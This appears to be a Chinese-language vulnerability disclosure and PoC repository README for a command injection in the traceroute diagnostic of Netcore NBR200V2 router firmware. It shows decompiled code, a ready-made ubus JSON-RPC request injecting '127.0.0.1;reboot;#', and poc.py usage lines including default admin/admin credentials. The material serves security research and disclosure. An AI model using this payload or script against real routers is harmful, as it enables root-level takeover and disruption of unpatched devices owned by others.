| 字段 | 值 |
|---|---|
| 厂商 | Netcore |
| 型号 | NBR200V2 |
| 固件版本 | V1.3.241127.071246 |
| 受影响组件 | /usr/bin/network_tools |
| 漏洞类型 | OS 命令注入（CWE-74 / CWE-77） |
| CVSS 3.1 | 9.9（严重） |
| 攻击向量 | 远程（ubus JSON-RPC） |
| 前置条件 | 可访问的 ubus 端点 + 一个低权限会话（sid） |
| 厂商状态 | 已提前联系；无回应；披露时无补丁 |
Netcore NBR200V2 固件 V1.3.241127.071246 在 traceroute 诊断功能 中存在远程命令注入漏洞。traceroute 处理程序从 ubus JSON-RPC 接收攻击者可控的 url 值，将其拼接进 shell 命令，并执行生成的命令。远程攻击者可以利用此缺陷执行任意 shell 命令、重启设备或实现完整的系统入侵。
远程请求以 ubus JSON-RPC 形式被接收：
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}
ubus 方法映射将请求路由到 sub_401BD8：
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8
sub_401BD8 解析 JSON-RPC 数据并将其转发给 tools_traceroute()：
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18; // action
v25[1] = v7; // url
v25[2] = _bswapsi2(*v8); // max_hop
...
result = tools_traceroute((int)v25);
tools_traceroute() 使用不可信的 url 值构建 shell 命令：
snprintf(
v4, 0x100u,
"(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);
该漏洞在 结构上与 ping 问题完全相同，但到达不同的汇聚点和执行路径。由于使用了 system()，诸如 ;、&& 和 shell 注释等命令分隔符均会被执行。因此该诊断功能变成了一个 通用命令执行原语。
POST /ubus
Content-Type: application/json
{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}
预期效果： 路由器在处理 traceroute 任务时执行 reboot。任意 shell 命令均可替换 reboot。
三者均到达同一个 /usr/bin/network_tools；该二进制文件中的诊断函数共享相同的不安全模式，因此仅修复单个入口点是不够的。
披露时无厂商补丁。临时缓解措施：
由独立研究者披露，该研究者发布了技术分析报告并（未能成功）与厂商协调。
本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
/usr/bin/network_tools(traceroute 诊断功能)POST /ubus)核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。
CVE-2026-94095.md —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)
POST /ubus 与一个有效 sid# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"
# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"
⚠️ 命令会被拼接为
127.0.0.1;<命令>;#注入url参数;reboot会直接重启设备,请仅在授权/可销毁环境测试。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。
LICENSE)。